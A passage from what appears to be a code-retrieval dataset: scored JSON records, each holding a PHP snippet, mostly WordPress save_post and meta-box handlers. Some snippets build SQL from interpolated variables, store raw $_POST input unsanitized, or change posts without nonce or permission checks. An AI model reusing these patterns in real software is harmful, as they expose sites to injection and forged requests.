'Status: error ( action not found )';\r\n\t\t\t$this->obj_api->_log_message( $message, \"2\" );\r\n\t\t\treturn;\r\n\t\t}\t\t\t\r\n\t\t\r\n\t\t//get all meta data for this publishing action\r\n\t\t$action_meta = $action_values;\r\n\r\n\t\t$message['details'] .= 'Action format: '.$action['format_type'].'<br/>';\r\n\r\n\t\t// Get feeds\r\n\t\t$feeds = $this->obj_api->get_feeds_since_timestamp ( $timestamp, $action_meta['feed_template'] );\r\n\r\n\t\t$message['details'] .= 'Found: '.count( $feeds ).' feed(s)<br/>';\r\n\r\n\t\tif ( empty ( $feeds ) ) {\r\n\t\t\t$message['status'] = 'warn';\r\n\t\t\t$message['details'] .= 'Status: error ( empty feeds list )';\r\n\t\t\t$this->obj_api->_log_message( $message, \"2\" );\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\r\n\t\t//loop each of our feeds, and then either create individual posts or digests from the curated documents in the feed\r\n\t\t$ids = array();\r\n\t\t$intErrorCount = 0;\r\n\t\tforeach ( $feeds as $feed ) {\r\n\t\t\t$ids[] = $feed['feedId'];\r\n\t\t\ttry{\r\n\t\t\t\t$this->publish_feed_with_publishing_action( $feed, $action_meta );\r\n\t\t\t}catch( Exception $ex ) {\r\n\r\n\t\t\t\t//we capture individual errors and report them,\r\n\t\t\t\t//but we should keep trying to loop because not all feeds may have an issue\r\n\t\t\t\t$message = array(\r\n\t\t\t\t\t'message' => 'Import of Feed Failed',\r\n\t\t\t\t\t'status' => 'error',\r\n\t\t\t\t\t'details' => 'Time: '.date( \"Y-m-d H:i:s\" ).'<br/>Cron Timestamp: '.$timestamp . ' feed id:' . $feed['feedId'] . ' specific error:' . $ex->getMessage() );\r\n\t\t\t\t$this->obj_api->_log_message( $message, \"1\" );\r\n\r\n\t\t\t\t$intErrorCount++;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( $intErrorCount == 0 ) {\r\n\t\t\t$message['details'] .= 'Feed IDs: '.implode( ',', $ids ).'<br/>';\r\n\t\t\t$message['details'] .= 'Status: ' . $intErrorCount . ' errors';\r\n\t\t\t$this->obj_api->_log_message( $message, \"2\" );\r\n\r\n\t\t}else {\r\n\t\t\t$message = array(\r\n\t\t\t\t'message' => 'Some Import of Feeds Failed',\r\n\t\t\t\t'status' => 'error',\r\n\t\t\t\t'details' => 'Total Feed Failures:' . $intErrorCount . ' out of ' . count( $feeds ) );\r\n\t\t\t$this->obj_api->_log_message( $message, \"1\" );\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "295686076d0ef9f12f5e071f04827a54", "score": "0.55571043", "text": "protected function registerPostPresave() {\n Post::extend(function (Post $model) {\n // beforeSave processor to process excerpt with Mardown filter and save it as processed\n $model->bindEvent('model.beforeSave', function() use ($model) {\n $model->excerpt = Markdown::parse($model->excerpt);\n });\n });\n }", "title": "" }, { "docid": "c11ccd6986a46ec645f8d87ab197da73", "score": "0.5545092", "text": "function make_current() {\n\t\tglobal $wpdb;\n\n\t\t$post_id = isset( $_GET['post_id'] ) ? (int)$_GET['post_id'] : 0;\n\t\t$attachment_id = isset( $_GET['attachment_id'] ) ? (int)$_GET['attachment_id'] : 0;\n\t\tif( !$post_id || !$attachment_id )\n\t\t\treturn;\n\t\t\t\n\t\t$post = get_post( $post_id );\n\t\tif( empty( $post ) || $post->post_type != $this->post_type_name )\n\t\t\treturn;\n\n\t\t$attachment = get_post( $attachment_id );\n\t\tif( empty( $attachment ) || $attachment->post_type != 'document_file' )\n\t\t\treturn;\n\n\t\t$attachments = $wpdb->get_col( $wpdb->prepare( \"SELECT ID FROM {$wpdb->posts} WHERE post_type = 'document_file' and post_parent = %d\", $post->ID ) );\n\t\tif( !empty( $attachments ) ) {\n\t\t\t$revision = wp_save_post_revision( $post->ID );\n\t\t\tif( !empty( $revision ) ) {\n\t\t\t\tforeach( $attachments as $att_id )\n\t\t\t\t\t$wpdb->update( $wpdb->posts, array( 'post_parent' => $revision ), array( 'ID' => $att_id ) ); \n\t\t\t}\n\t\t}\n\t\t$wpdb->update( $wpdb->posts, array( 'post_parent' => $post_id ), array( 'ID' => $attachment_id ) );\n\t\t// redirect\n\t\twp_redirect( wp_get_referer() );\n\t}", "title": "" }, { "docid": "a7cafe1764586126a0eb5b8d94439a0f", "score": "0.554165", "text": "public static function save_post( $id ) {\n $called_class = get_called_class();\n if ( isset( $_POST[ 'post_type' ] ) && $_POST[ 'post_type' ] == $called_class::$type_string ) {\n $post = $called_class::get( $id );\n if ( $post && !wp_is_post_revision( $post->get_post() ) && !wp_is_post_autosave( $post->get_post() ) )\n $post->save();\n }\n }", "title": "" }, { "docid": "82aef64d41164302e93745d68bba04a3", "score": "0.5535399", "text": "public function torch_save( $post_id ) {\r\n\t\r\n\t\t/*\r\n\t\t * We need to verify this came from the our screen and with proper authorization,\r\n\t\t * because save_post can be triggered at other times.\r\n\t\t */\r\n\r\n\t\t// Check if our nonce is set.\r\n\t\tif ( ! isset( $_POST['torch_inner_custom_box_nonce'] ) )\r\n\t\t\treturn $post_id;\r\n\r\n\t\t$nonce = $_POST['torch_inner_custom_box_nonce'];\r\n\r\n\t\t// Verify that the nonce is valid.\r\n\t\tif ( ! wp_verify_nonce( $nonce, 'torch_inner_custom_box' ) )\r\n\t\t\treturn $post_id;\r\n\r\n\t\t// If this is an autosave, our form has not been submitted,\r\n // so we don't want to do anything.\r\n\t\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \r\n\t\t\treturn $post_id;\r\n\r\n\t\t// Check the user's permissions.\r\n\t\tif ( 'page' == $_POST['post_type'] ) {\r\n\r\n\t\t\tif ( ! current_user_can( 'edit_page', $post_id ) )\r\n\t\t\t\treturn $post_id;\r\n\t\r\n\t\t} else {\r\n\r\n\t\t\tif ( ! current_user_can( 'edit_post', $post_id ) )\r\n\t\t\t\treturn $post_id;\r\n\t\t}\r\n\r\n\t\t/* OK, its safe for us to save the data now. */\r\n\r\n\t\t// Sanitize the user input.\r\n\t\t$show_breadcrumb = sanitize_text_field( $_POST['torch_show_breadcrumb'] );\r\n\t\t$torch_right_sidebar = sanitize_text_field( $_POST['torch_layout'] );\r\n\r\n\t\t\r\n\r\n\t\t// Update the meta field.\r\n\t\tupdate_post_meta( $post_id, '_torch_show_breadcrumb', $show_breadcrumb );\r\n\t\tupdate_post_meta( $post_id, '_torch_layout', $torch_right_sidebar );\r\n\t\r\n\t}", "title": "" }, { "docid": "cf3ea9b18bb5fb65014014b1f59b9663", "score": "0.55323666", "text": "function xsbf_save_postdata( $post_id ) {\n\n\t// Check if our nonce is set.\n\tif ( ! isset( $_POST['xsbf_inner_custom_box_nonce'] ) )\n\treturn $post_id;\n\n\t$nonce = $_POST['xsbf_inner_custom_box_nonce'];\n\n\t// Verify that the nonce is valid.\n\tif ( ! wp_verify_nonce( $nonce, 'xsbf_inner_custom_box' ) )\n\t return $post_id;\n\n\t// If this is an autosave, our form has not been submitted, so we don't want to do anything.\n\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \n\t return $post_id;\n\n\t// Check the user's permissions.\n\tif ( 'page' == $_POST['post_type'] ) {\n\n\tif ( ! current_user_can( 'edit_page', $post_id ) )\n\t\treturn $post_id;\n\n\t} else {\n\n\tif ( ! current_user_can( 'edit_post', $post_id ) )\n\t\treturn $post_id;\n\t}\n\n\t/* OK, its safe for us to save the data now. */\n\t$post_subtitle = sanitize_text_field( $_POST['xsbf_post_subtitle'] );\n\tupdate_post_meta( $post_id, '_subtitle', $post_subtitle );\n\n\tif ( 'post' == $_POST['post_type'] ) {\n\t\t$post_fullwidth = $_POST['xsbf_post_template'] ? true : false;\n\t\tupdate_post_meta( $post_id, '_fullwidth', $post_fullwidth );\n\t}\n}", "title": "" }, { "docid": "2c62a3339988798bd9c0046a8b0d9383", "score": "0.5527078", "text": "function save_box($post_id){\n\t\tif (isset($_POST[self::custom_excerpt_slug])) {\n\t\t\t$the_post = get_post($post_id);\n\t\t\t$the_post->post_excerpt = wp_kses_post( $_POST[self::custom_excerpt_slug]);\n\t\t\t// NB: You might want to use wp_make_content_images_responsive() when displaying your excerpt\n\t\t\tremove_action('save_post', array($this,'save_box'));\n\t\t\twp_update_post( $the_post );\n\t\t\tadd_action('save_post', array($this, 'save_box'));\n\t\t}\n\t}", "title": "" }, { "docid": "bf36a79e4a17a873c05efbce26980ee1", "score": "0.55148655", "text": "function save_post($pid) {\r\n\t\tglobal $wpdb;\r\n\r\n\t\t$p2pg = PostGroups::post2postgroup_table();\r\n\t\t$wpdb->query(\"DELETE FROM $p2pg WHERE post_id = $pid\");\r\n\r\n\t\t$sidebarName = PostGroups::edit_sidebar_name();\r\n\t\t$postgroup_id = (int)$_POST[$sidebarName];\r\n\r\n\t\tif($postgroup_id != '' && $postgroup_id != -1) {\r\n\t\t\t$wpdb->query(\"INSERT INTO $p2pg (post_id, postgroup_id) VALUES ($pid, $postgroup_id)\");\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "28e81b260aa2eb82f545a627d5a1c165", "score": "0.55093384", "text": "public function save_post( $post_id ) {\n\n\t\t// Return if API KEY AND Album ID are not set\n\t\tif( ! isset( $_POST['flickr-api-key'] ) && ! isset( $_POST['flickr-album-id'] ) ) {\n \t\t\treturn;\n\t\t}\n\n\t\t// return if autosave\n\t\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ){\n\t\t\treturn;\n\t\t}\n\n \t\t// Check the user's permissions.\n\t\tif ( ! current_user_can( 'edit_post', $post_id ) ){\n\t\t\treturn;\n\t\t}\n\n\t\t$WPF_API_KEY = $_POST['flickr-api-key'];\n\t\t$WPF_Album_ID = $_POST['flickr-album-id'];\n\t\t$WPF_Show_Title = $_POST['wpf-show-title'];\n\t\t$WPF_Custom_CSS = $_POST['wpf-custom-css'];\n\n\t\t$wpf_array[] = array(\n\t\t\t'wpf_api_key' => $WPF_API_KEY,\n\t\t\t'wpf_album_id' => $WPF_Album_ID,\n\t\t\t'wpf_show_title' => $WPF_Show_Title,\n\t\t\t'wpf_custom_css' => $WPF_Custom_CSS\n\t\t);\n\t\tupdate_post_meta( $post_id, '_wpf_settings', serialize( $wpf_array ) );\t\n\t}", "title": "" }, { "docid": "f9f8969a3c117dd3c098ac908e38dea1", "score": "0.54975605", "text": "function bbo_tinymce_save_postdata( $post_id ) {\n\n\t// verify if this is an auto save routine. \n // If it is our form has not been submitted, so we dont want to do anything\n if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \n return;\n\n // Check permissions\n if ( ( isset ( $_POST['post_type'] ) ) && ( 'page' == $_POST['post_type'] ) ) {\n if ( ! current_user_can( 'edit_page', $post_id ) ) {\n\t\t\treturn;\n\t\t}\t\t\n }\n\telse {\n\t\tif ( ! current_user_can( 'edit_post', $post_id ) ) {\n\t\t\treturn;\n\t\t}\n\t}\n\n // OK, we're authenticated: we need to find and save the data\n\t\tif ( isset ($_POST['bbo_color_field']) ) {\n\t\t\tupdate_post_meta( $post_id, 'bbo_color_field', $_POST['bbo_color_field'] );\n\t\t}\n}", "title": "" }, { "docid": "b5e253dfcccee9c2345f01c79d3aca50", "score": "0.5497143", "text": "function pr_feature_box_save( $post_id ) \n{\n\n /*\n * We need to verify this came from the our screen and with proper authorization,\n * because save_post can be triggered at other times.\n */\n \n // Check if our nonce is set.\n if ( ! isset( $_POST['pr_feature_meta_nonce'] ) )\n return $post_id;\n\n $nonce = $_POST['pr_feature_meta_nonce'];\n\n // Verify that the nonce is valid.\n if ( ! wp_verify_nonce( $nonce, 'pr_feature_inner' ) )\n return $post_id;\n \n // If this is an autosave, our form has not been submitted, so we don't want to do anything.\n if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \n return $post_id;\n\n // Check the user's permissions.\n if ( 'page' == $_POST['post_type'] ) {\n\n if ( ! current_user_can( 'edit_page', $post_id ) )\n return $post_id;\n \n } else {\n\n if ( ! current_user_can( 'edit_post', $post_id ) )\n return $post_id;\n }\n\n /* OK, its safe for us to save the data now. */\n $data = esc_url( $_POST['pr_feature_link']);\n\n\tif( isset( $_POST['pr_feature_link'] ) ) {\n\t\tupdate_post_meta( $post_id, 'pr_feature_link', $data );\n\t}\n\n if( isset( $_POST['pr_feature_order'] ) ) {\n update_post_meta( $post_id, 'pr_feature_order', sanitize_text_field( $_POST['pr_feature_order'] ) );\n }\n\n}", "title": "" }, { "docid": "adb37142a0e3f96c361ce8c757fa320b", "score": "0.5489563", "text": "public function run()\n {\n $post = Post::find(1);\n $user = User::find(1);\n $content = 'Excelente receta, estuvieron riquísimas'; \n $user->comments()->attach($post->id, ['content' => $content]);\n\n $post = Post::find(1);\n $user = User::find(2);\n $content = '¡Una receta simple y deliciosa!'; \n $user->comments()->attach($post->id, ['content' => $content]);\n }", "title": "" }, { "docid": "1efe4fde7674f3d28a430606d478fdc0", "score": "0.54810905", "text": "function monsuperplugin_savepost($post_id, $post) {\n if (!isset($_POST['monsuperplugin_link']) && wp_verify_nonce($_POST['monsuperplugin_nonce'], 'monsuperplugin')) {\n return $post_id;\n }\n\n $type = get_post_type_object($post->post_type);\n\n if (!current_user_can($type->cap->edit_post)) {\n //Ne pas editer les posts metas\n return $post_id;\n }\n update_post_meta($post_id, '_link', $_POST['monsuperplugin_link']);\n}", "title": "" }, { "docid": "a340de140b0567c45300719c6bb0aefb", "score": "0.54800624", "text": "function save_postdata($post_id, $post) {\n\t\t\n\t\t\n\n\t\t\n\t\t\n\t\t// verify this came from the our screen and with proper authorization,\n\t\t// because save_post can be triggered at other times\n\t\tif ( empty($_POST['noncename']) || !wp_verify_nonce( $_POST['noncename'], plugin_basename(__FILE__) )) {\n\t\treturn $post->ID;\n\t\t}\n\t\n\t\t// Is the user allowed to edit the post or page?\n\t\tif ( 'page' == $_POST['post_type'] ) {\n\n\t\t\tif ( !current_user_can( 'edit_page', $post->ID ))\n\t\t\treturn $post->ID;\n\t\t} else {\n\t\t\tif ( !current_user_can( 'edit_post', $post->ID ))\n\t\t\treturn $post->ID;\n\t\t}\n\t\n\n\n//if ($_POST['smartexpress_options']['feature_option']=='slider')\n//{\n if(!empty($_FILES['wp_slider_one_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_one_image']['name'])); \n//\t print_r($arr_file_type);\n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_one_image']['name'], null, file_get_contents($_FILES['wp_slider_one_image']['tmp_name'])); \n\t\t//\t print_r($upload);\n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_one_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_one_image_file']=$upload['file'];\t\t\t\t\n\t\t\t\n// add_post_meta($id, 'wp_custom_attachment_one', $upload); \n// update_post_meta($id, 'wp_custom_attachment_one', $upload); \n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\n\n if(!empty($_FILES['wp_slider_two_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_two_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_two_image']['name'], null, file_get_contents($_FILES['wp_slider_two_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_two_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_two_image_file']=$upload['file'];\t\t\t\t\n\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\n\n\n if(!empty($_FILES['wp_slider_three_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_three_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_three_image']['name'], null, file_get_contents($_FILES['wp_slider_three_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_three_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_three_image_file']=$upload['file'];\t\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\n\n\n\n\n if(!empty($_FILES['wp_slider_four_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_four_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_four_image']['name'], null, file_get_contents($_FILES['wp_slider_four_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_four_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_four_image_file']=$upload['file'];\t\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\t\n\n\n\n if(!empty($_FILES['wp_slider_five_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_five_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_five_image']['name'], null, file_get_contents($_FILES['wp_slider_five_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_five_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_five_image_file']=$upload['file'];\t\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\t\n\n\n\n if(!empty($_FILES['wp_slider_six_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_six_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_six_image']['name'], null, file_get_contents($_FILES['wp_slider_six_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_six_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_six_image_file']=$upload['file'];\t\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\n\n\n if(!empty($_FILES['wp_slider_seven_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_seven_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_seven_image']['name'], null, file_get_contents($_FILES['wp_slider_seven_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_seven_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_seven_image_file']=$upload['file'];\t\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\n\n\n if(!empty($_FILES['wp_slider_eight_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_eight_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_eight_image']['name'], null, file_get_contents($_FILES['wp_slider_eight_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_eight_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_eight_image_file']=$upload['file'];\t\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\n\n\n if(!empty($_FILES['wp_slider_nine_image']['name'])) { \n \n // Setup the array of supported file types. In this case, it's just PDF. \n $supported_types = array('image/jpeg','image/pjpeg','image/png'); \n \n // Get the file type of the upload \n $arr_file_type = wp_check_filetype(basename($_FILES['wp_slider_nine_image']['name'])); \n $uploaded_type = $arr_file_type['type']; \n \n // Check if the type is supported. If not, throw an error. \n if(in_array($uploaded_type, $supported_types)) { \n \n // Use the WordPress API to upload the file \n $upload = wp_upload_bits($_FILES['wp_slider_nine_image']['name'], null, file_get_contents($_FILES['wp_slider_nine_image']['tmp_name'])); \n \n if(isset($upload['error']) && $upload['error'] != 0) { \n wp_die('There was an error uploading your file. The error is: ' . $upload['error']); \n } else { \n\t\t\t\t$mydata['_slider_nine_image']=$upload['url'];\n\t\t\t\t$mydata['_slider_nine_image_file']=$upload['file'];\t\t\t\t\n } // end if/else \n \n } else { \n wp_die(\"The file type that you've uploaded is not a JPEG.\"); \n } // end if/else \n \n } // end if \n\n\n\n\tif($_POST['_slider_one_title']!=\"\"){ $mydata['_slider_one_title'] = $_POST['_slider_one_title'];}else{ $mydata['_slider_one_title'] = \"\";}\t\n\tif($_POST['_slider_one_subTitle']!=\"\"){ $mydata['_slider_one_subTitle'] = $_POST['_slider_one_subTitle'];}else{ $mydata['_slider_one_subTitle'] = \"\";}\t\n\tif($_POST['_slider_one_link_1']!=\"\"){ $mydata['_slider_one_link_1'] = $_POST['_slider_one_link_1'];}else{ $mydata['_slider_one_link_1'] = \"\";}\n\tif($_POST['_slider_one_link_2']!=\"\"){ $mydata['_slider_one_link_2'] = $_POST['_slider_one_link_2'];}else{ $mydata['_slider_one_link_2'] = \"\";}\t\t\n\n\tif($_POST['_slider_two_title']!=\"\"){ $mydata['_slider_two_title'] = $_POST['_slider_two_title'];}else{ $mydata['_slider_two_title'] = \"\";}\t\n\tif($_POST['_slider_two_subTitle']!=\"\"){ $mydata['_slider_two_subTitle'] = $_POST['_slider_two_subTitle'];}else{ $mydata['_slider_two_subTitle'] = \"\";}\t\n\tif($_POST['slider_one_text']!=\"\"){ $mydata['_slider_one_text'] = $_POST['slider_one_text'];}else{ $mydata['_slider_one_text'] = \"\";}\t\n\tif($_POST['slider_two_text']!=\"\"){ $mydata['_slider_two_text'] = $_POST['slider_two_text'];}else{ $mydata['_slider_two_text'] = \"\";}\t\n\tif($_POST['slider_three_text']!=\"\"){ $mydata['_slider_three_text'] = $_POST['slider_three_text'];}else{ $mydata['_slider_three_text'] = \"\";}\t\n\tif($_POST['slider_four_text']!=\"\"){ $mydata['_slider_four_text'] = $_POST['slider_four_text'];}else{ $mydata['_slider_four_text'] = \"\";}\t\n\tif($_POST['slider_five_text']!=\"\"){ $mydata['_slider_five_text'] = $_POST['slider_five_text'];}else{ $mydata['_slider_five_text'] = \"\";}\t\n\tif($_POST['slider_six_text']!=\"\"){ $mydata['_slider_six_text'] = $_POST['slider_six_text'];}else{ $mydata['_slider_six_text'] = \"\";}\t\n\tif($_POST['slider_seven_text']!=\"\"){ $mydata['_slider_seven_text'] = $_POST['slider_seven_text'];}else{ $mydata['_slider_seven_text'] = \"\";}\t\n\tif($_POST['slider_eight_text']!=\"\"){ $mydata['_slider_eight_text'] = $_POST['slider_eight_text'];}else{ $mydata['_slider_eight_text'] = \"\";}\t\n\tif($_POST['slider_nine_text']!=\"\"){ $mydata['_slider_nine_text'] = $_POST['slider_nine_text'];}else{ $mydata['_slider_nine_text'] = \"\";}\t\t\t\t\t\t\t\t\n\t\n\tif($_POST['_slider_two_video']!=\"\"){ $mydata['_slider_two_video'] = $_POST['_slider_two_video'];}else{ $mydata['_slider_two_video'] = \"\";}\t\n\n\tif($_POST['_slider_three_title']!=\"\"){ $mydata['_slider_three_title'] = $_POST['_slider_three_title'];}else{ $mydata['_slider_three_title'] = \"\";}\t\n\tif($_POST['_slider_three_subTitle']!=\"\"){ $mydata['_slider_three_subTitle'] = $_POST['_slider_three_subTitle'];}else{ $mydata['_slider_three_subTitle'] = \"\";}\t\n\tif($_POST['_slider_three_video']!=\"\"){ $mydata['_slider_three_video'] = $_POST['_slider_three_video'];}else{ $mydata['_slider_three_video'] = \"\";}\t\n\n\tif($_POST['_slider_four_title']!=\"\"){ $mydata['_slider_four_title'] = $_POST['_slider_four_title'];}else{ $mydata['_slider_four_title'] = \"\";}\t\n\tif($_POST['_slider_four_subTitle']!=\"\"){ $mydata['_slider_four_subTitle'] = $_POST['_slider_four_subTitle'];}else{ $mydata['_slider_four_subTitle'] = \"\";}\t\n\tif($_POST['_slider_four_video']!=\"\"){ $mydata['_slider_four_video'] = $_POST['_slider_four_video'];}else{ $mydata['_slider_four_video'] = \"\";}\t\n\n\n\tif($_POST['_slider_five_title']!=\"\"){ $mydata['_slider_five_title'] = $_POST['_slider_five_title'];}else{ $mydata['_slider_five_title'] = \"\";}\t\n\tif($_POST['_slider_five_subTitle']!=\"\"){ $mydata['_slider_five_subTitle'] = $_POST['_slider_five_subTitle'];}else{ $mydata['_slider_five_subTitle'] = \"\";}\t\n\tif($_POST['_slider_five_video']!=\"\"){ $mydata['_slider_five_video'] = $_POST['_slider_five_video'];}else{ $mydata['_slider_five_video'] = \"\";}\t\n\n\n\tif($_POST['_slider_six_title']!=\"\"){ $mydata['_slider_six_title'] = $_POST['_slider_six_title'];}else{ $mydata['_slider_six_title'] = \"\";}\t\n\tif($_POST['_slider_six_subTitle']!=\"\"){ $mydata['_slider_six_subTitle'] = $_POST['_slider_six_subTitle'];}else{ $mydata['_slider_six_subTitle'] = \"\";}\t\n\tif($_POST['_slider_six_video']!=\"\"){ $mydata['_slider_six_video'] = $_POST['_slider_six_video'];}else{ $mydata['_slider_six_video'] = \"\";}\t\n\n\n\tif($_POST['_slider_seven_title']!=\"\"){ $mydata['_slider_seven_title'] = $_POST['_slider_seven_title'];}else{ $mydata['_slider_seven_title'] = \"\";}\t\n\tif($_POST['_slider_seven_subTitle']!=\"\"){ $mydata['_slider_seven_subTitle'] = $_POST['_slider_seven_subTitle'];}else{ $mydata['_slider_seven_subTitle'] = \"\";}\t\n\tif($_POST['_slider_seven_video']!=\"\"){ $mydata['_slider_seven_video'] = $_POST['_slider_seven_video'];}else{ $mydata['_slider_seven_video'] = \"\";}\t\n\n\n\tif($_POST['_slider_eight_title']!=\"\"){ $mydata['_slider_eight_title'] = $_POST['_slider_eight_title'];}else{ $mydata['_slider_eight_title'] = \"\";}\t\n\tif($_POST['_slider_eight_subTitle']!=\"\"){ $mydata['_slider_eight_subTitle'] = $_POST['_slider_eight_subTitle'];}else{ $mydata['_slider_eight_subTitle'] = \"\";}\t\n\tif($_POST['_slider_eight_video']!=\"\"){ $mydata['_slider_eight_video'] = $_POST['_slider_eight_video'];}else{ $mydata['_slider_eight_video'] = \"\";}\t\n\n\n\tif($_POST['_slider_nine_title']!=\"\"){ $mydata['_slider_nine_title'] = $_POST['_slider_nine_title'];}else{ $mydata['_slider_nine_title'] = \"\";}\t\n\tif($_POST['_slider_nine_subTitle']!=\"\"){ $mydata['_slider_nine_subTitle'] = $_POST['_slider_nine_subTitle'];}else{ $mydata['_slider_nine_subTitle'] = \"\";}\t\n\tif($_POST['_slider_nine_video']!=\"\"){ $mydata['_slider_nine_video'] = $_POST['_slider_nine_video'];}else{ $mydata['_slider_nine_video'] = \"\";}\t\n\tif($_POST['_slider_order_by']!=\"\"){ $mydata['_slider_order_by'] = $_POST['_slider_order_by'];}else{ 